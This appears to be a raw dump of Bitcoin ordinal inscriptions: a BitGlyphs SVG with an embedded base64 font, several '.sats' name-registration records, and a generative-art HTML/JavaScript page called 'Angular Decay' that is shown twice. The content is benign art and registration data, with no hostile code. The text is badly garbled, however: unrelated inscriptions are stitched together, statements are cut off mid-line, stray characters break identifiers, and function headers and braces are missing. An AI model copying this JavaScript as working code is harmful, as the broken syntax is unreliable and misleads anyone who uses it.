data-json="data:application/json;base64,eyJuYW1lIjoiQml0R2x5cGhzICM0MzciLCJleHRlcm5hbF91cmwiOiJodHRwczovL2JpdGdseXBocy5jb20vIy9nbHlwaC80MzciLCJhdHRyaWJ1dGVzIjpbeyJ0cmFpdF90eXBlIjoiU2l6ZSIsInZhbHVlIjoiMTZ4MTYifSx7InRyYWl0X3R5cGUiOiJTY2hlbWUiLCJ2YWx1ZSI6IuKCvyAkIn0seyJ0cmFpdF90eXBlIjoiU3ltYm9sIENvdW50IiwidmFsdWUiOjEwNH0seyJ0cmFpdF90eXBlIjoiU3ltYm9sIFN5bW1ldHJ5IiwidmFsdWUiOiJSb3RhdM GlvbmFsIn0seyJ0cmFpdF90eXBlIjoiJCBDb3VudCIsInZhbHVlIjo1MH0seyJ0cmFpdF90eXBlIjoi4oK/IENvdW50IiwidmFsdWUiOjU0fV19" data-message="BitGlyphs #437 - bc1pawnnr97z9r98swtahplnnun4afc9wxr43rgfeld0xfpeefktlltsa2vn5q" data-signature="5c38347925843d8bee2e2363e196f7640b5b6aba42387f26ba7b92f4a2610bfd33cd71b4b6a3eb389c3d5bb136010951ddc6a72b012b35d11beb115372be65c3"><defs><style type="text/css">@font-face{font-family:"glyphs";src:url(data:font/woff2;base64,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)format("woff2");}svg{background-color:#4d4d4e;}tspan{text-anchor:middle;dominant-baseline:middle;font-family:glyphs;font-weight:400;fill:#f2a900;text-rendering:geometricPrecision;}::selection{background-color:#f2a90044;}</style></defs><rect width="100%" height="100%" fill="#222222" /><text x="0" y="256" transform="translate(256)" font-size="28.8" letter-spacing="-4.8"><tspan x="0" dy="-178.5">...$ </tspan><tspan x="0" dy="24">........ $$$$$</tspan><tspan x="0" dy="24">...$.. $.</tspan><tspan x="0" dy="24">$.$. .$.</tspan><tspan x="0" dy="24"> ..$.</tspan><tspan x="0" dy="24">..........$$$ </tspan><tspan x="0" dy="24">.. $</tspan><tspan x="0" dy="24">.... .</tspan><tspan x="0" dy="24">. ....</tspan><tspan x="0" dy="24">$ ..</tspan><tspan x="0" dy="24"> .........</tspan><tspan x="0" dy="24">.$.. </tspan><tspan x="0" dy="24">.$. .$.$</tspan><tspan x="0" dy="24">.$ ..$...</tspan><tspan x="0" dy="24">$$$$$ ........</tspan><tspan x="0" dy="24"> $...</tspan></text></svg>h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"satoshi.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "hotshot.sats" d/Foundry USA Pool #dropgold/ text/plain;charset=utf-8 "name": "market.sats" text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"kanga.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"luno.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"paribu.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"finexbox.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"korbit.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "wirex.sats" text/html;charset=utf-8 <meta charset="UTF-8"> <title>Angular Decay</title> <script id="snippet-random-code" type="text/javascript"> let seed = window.location.href.split('/').find(t => t.includes('i0')); const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i <M seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); <style>body {margin: 0px;} </style>M <canvas id="target"></canvas> <script type="text/javascript"> const rand = mathRand(); const rand2 = mathRand(); let sqpix,cp,ratio=0.707,bug=false; if(rand<0.3){sqpix=0;zoom=false;return"Portrait";} if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";} if(rand<0.95){sqpix=1;return"Square";} sqpix=1;bug=1;return"Bugged";} if(rand<0.07){cp=12;return "Paper";} if(rand<0.14){cp=1;return "DPM";} if(rand<0.21){cp=2;return "Fecktarn";} if(rand<0.41){cp=4;return "Desert Drill";} if(rand<0.5){cp=5;return "Urban";} if(rand<0.6){cp=6;return "Navy";} if(rand<0.7){cp=7;return "German Winter";} if(rand<0.8){cp=8;return "Tree";} if(rand<0.85){cp=9;return "Orange";} if(rand<0.9){cp=10;return "Harris";} if(rand<0.95){cp=11;return "Market";} cp=0;return "Saint";} window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) } const container = document.createElement("div") container.innerHTML = "<span>seed: " + seed + "</spM let resizeTmr=null,aniFrame=null; let ofw,ofh,sz,rz=1; let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[]; var tricount=0,tr=30; var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[]; var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[]; const init = async () => { window.addEventListener('resize', async () => { clearTimeout(resizeTmr) resizeTmr = setTimeout(async () => { await layoutCanvas() await layoutCanvas() const layoutCanvas = async () => { const wWidth=window.innerWidth const wHeight=window.innerHeight let cHeight=wHeight; let cWidth=cHeight*ratio; if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;} const canvas=document.getElementById('target') canvas.width=2000*rz; canvas.height=(2000*rz)/ratio; canvas.style.position = 'absolute' canvas.style.width = `${cWidth}px` canvas.style.height = `${cHeight}px` canvas.style.left = `${(wWidth - cWidth) / 2}px` canvas.style.top = `${(wHeight - cHeight) / 2}pM const drawCanvas = async () => { if(!tried) setupart(); if (aniFrame) window.cancelAnimationFrame(aniFrame) const canvas=document.getElementById('target') const ctx=canvas.getContext('2d') {let bx=ofw/500,by=ofh/500; ctx.globalAlpha=0.05; for(let f=10;f<30; f++){ for(let i=0;i<500; i++){ drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff'); drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M if(gj>500) { drp=3; gj=0; } for(let f=0;f<tc;f++){ if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz); else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz); dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz); dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);} for(let f=0;f<rc;f++){ dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz); ,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz); dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);} ctx.fillStyle = artcols[0]; ctx.fillRect(0,0,ofw,ofh); mathRand = sfc32(...cyrb128(seed)); tc=0;rc=0;tricount=0;tr=30;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); tricount=1000;tr=rir(10,50);dor=true;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); aniFrame = window.requestAnimationM function triharder( x1,y1, x2,y2) if(tricount>2500) return; var x3=x1+rir(-tr,tr); var y3=y1+rir(-tr,tr); if(x3<0){x3+=tr;bmp++} if(x3>1000){x3-=tr;bmp++} if(y3<0){y3+=tr;bmp++} if(y3>1000/ratio){y3-=tr;bmp++} if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; } else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;} if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M triharder(x3,y3, x1,y1); if(ri(100)>20) triharder(x3,y3, x2,y2); const autoDownloadCanvas = async () => { const element = document.createElement('a') element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`) element.style.display = 'none' document.body.appendChild(element) let imageBlob = null imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png')) element.setAttribute('href', window.URL.createObjectURL(imageBlob, { document.body.removeChild(element) document.addEventListener('keypress', async (e) => { e = e || window.event if (e.key === 's') autoDownloadCanvas() if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() } function drawEllipse(ctx,x,y,rx,ry,fill) { ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI); if (fill) {ctx.fillStyle = fill;ctx.fill();} function dl(ctx,lx,ly,ex,ey,stroke,width) { if (stroke) {ctx.strokeStyle = stroke;} if (width) { ctx.linM ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke(); if(cp==12)artcols=['#EDECE0','#303030','#880808']; if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B']; if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41']; if(cp==1) artcols=['#25201E','#D3A252','#686C22']; if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026']; if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D']; if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A']; if(cp==5) artcols= ['#B8B8B3','#474747','M if(cp==6) artcols= ['#A6B2C7','#323642','#394A69']; if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD']; if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D']; if(cp==9) artcols= ['#EDECE0','#944645','#F25D34']; if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933']; function ri( x){ return Math.floor(mathRand()*x);} function rir(x,y){ let nr = (y - x) ; return Math.floor((mathRand()*nr) + x); } text/plain;charset=utf-8 "name": "canto.sats" text/plain;charset=utf-8 4{"p":"sns","op":"reg","name":"binancehongkong.sats"}h! text/html;charset=utf-8 <meta charset="UTF-8"> <title>Angular Decay</title> <script id="snippet-random-code" type="text/javascript"> let seed = window.location.href.split('/').find(t => t.includes('i0')); const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i <M seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); <style>body {margin: 0px;} </style>M <canvas id="target"></canvas> <script type="text/javascript"> const rand = mathRand(); const rand2 = mathRand(); let sqpix,cp,ratio=0.707,bug=false; if(rand<0.3){sqpix=0;zoom=false;return"Portrait";} if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";} if(rand<0.95){sqpix=1;return"Square";} sqpix=1;bug=1;return"Bugged";} if(rand<0.07){cp=12;return "Paper";} if(rand<0.14){cp=1;return "DPM";} if(rand<0.21){cp=2;return "Fecktarn";} if(rand<0.41){cp=4;return "Desert Drill";} if(rand<0.5){cp=5;return "Urban";} if(rand<0.6){cp=6;return "Navy";} if(rand<0.7){cp=7;return "German Winter";} if(rand<0.8){cp=8;return "Tree";} if(rand<0.85){cp=9;return "Orange";} if(rand<0.9){cp=10;return "Harris";} if(rand<0.95){cp=11;return "Market";} cp=0;return "Saint";} window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) } const container = document.createElement("div") container.innerHTML = "<span>seed: " + seed + "</spM let resizeTmr=null,aniFrame=null; let ofw,ofh,sz,rz=1; let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[]; var tricount=0,tr=30; var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[]; var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[]; const init = async () => { window.addEventListener('resize', async () => { clearTimeout(resizeTmr) resizeTmr = setTimeout(async () => { await layoutCanvas() await layoutCanvas() const layoutCanvas = async () => { const wWidth=window.innerWidth const wHeight=window.innerHeight let cHeight=wHeight; let cWidth=cHeight*ratio; if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;} const canvas=document.getElementById('target') canvas.width=2000*rz; canvas.height=(2000*rz)/ratio; canvas.style.position = 'absolute' canvas.style.width = `${cWidth}px` canvas.style.height = `${cHeight}px` canvas.style.left = `${(wWidth - cWidth) / 2}px` canvas.style.top = `${(wHeight - cHeight) / 2}pM const drawCanvas = async () => { if(!tried) setupart(); if (aniFrame) window.cancelAnimationFrame(aniFrame) const canvas=document.getElementById('target') const ctx=canvas.getContext('2d') {let bx=ofw/500,by=ofh/500; ctx.globalAlpha=0.05; for(let f=10;f<30; f++){ for(let i=0;i<500; i++){ drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff'); drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M if(gj>500) { drp=3; gj=0; } for(let f=0;f<tc;f++){ if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz); else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz); dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz); dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);} for(let f=0;f<rc;f++){ dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz); ,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz); dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);} ctx.fillStyle = artcols[0]; ctx.fillRect(0,0,ofw,ofh); mathRand = sfc32(...cyrb128(seed)); tc=0;rc=0;tricount=0;tr=30;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); tricount=1000;tr=rir(10,50);dor=true;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); aniFrame = window.requestAnimationM function triharder( x1,y1, x2,y2) if(tricount>2500) return; var x3=x1+rir(-tr,tr); var y3=y1+rir(-tr,tr); if(x3<0){x3+=tr;bmp++} if(x3>1000){x3-=tr;bmp++} if(y3<0){y3+=tr;bmp++} 